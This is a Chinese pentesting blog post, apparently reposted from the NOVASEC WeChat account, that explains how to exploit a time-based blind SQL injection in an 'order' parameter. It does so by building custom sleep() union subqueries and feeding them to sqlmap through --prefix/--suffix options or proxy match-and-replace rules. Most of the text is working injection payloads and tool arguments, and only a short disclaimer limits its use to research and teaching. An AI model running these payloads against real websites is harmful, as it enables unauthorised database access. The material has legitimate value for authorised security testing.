selecte * from user_table where username='admin'
select xxx
实际测试注入的情况下,经常会存在传输一个sql语句,或间接构造出一个sql语句的情况。
我们可以通过手动构造出常规注入的相似语句,然后通过特定的方式,使得sqlmap只对我们选择的新注入点进行注入,而不是覆盖整个参数。
构造自定义sql语句注入的优点
1、快速利用不能被直接检测的注入
2、能够实现更多的注入方式
简单的构造出select注入点:
&order=asc,(select*from(select+sleep(12)union/**/select+1)a)
当然,也可以构造其他的注入语句
注入点:
&order=asc,(select*from(select+sleep(12)union/**/select+1*)a
注入失败
注入语句:
&order=asc,(select*from(select+sleep(2)union/**/select+1)a)&
转为目标格式:
&prefix&order=1*&suffix&
在proxy模块开始匹配替换功能:
&prefix&order= 替换 &order=asc,(select*from(select+sleep(2)union/**/select+
&suffix 替换 )a)
最终在服务端接收到的payload依旧为:
&order=asc,(select*from(select+sleep(2)union/**/select+1*)a)&
注入成功,两种注入方式
--prefix "" #追加前缀
--suffix "" #追加后缀
注入点:
&order=asc,(select*from(select+sleep(2)union/**/select+1)a)&
注入语句:
--prefix="asc,(select*from(select+sleep(2)union/**/select+"
--suffix=")a)"
注入成功,三种注入方式
很明显,注入结果不同的原因是由于payload不同。
payload不同的原因是由于这两种情况下sqlmap对注入参数的处理不一样。
注入语句:
order=asc,(select*from(select+sleep(2)union/**/select+1*
sqlmap的辅助前后缀参数问题就是,不知道它注入时是替换参数的情况,所以我们需要在测试的过程中,代理工具的流量,能够便于分析。
构造自定义sql语句注入是很个很实用的技巧,如果你(DD)不知道这也是很正常的,因为百度好像没看到几个人写。
我是NOVASEC 酒零,欢迎您的投稿,OVER
END
本文始发于微信公众号(NOVASEC):sqlmap前后缀之SQL语句注入实践
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论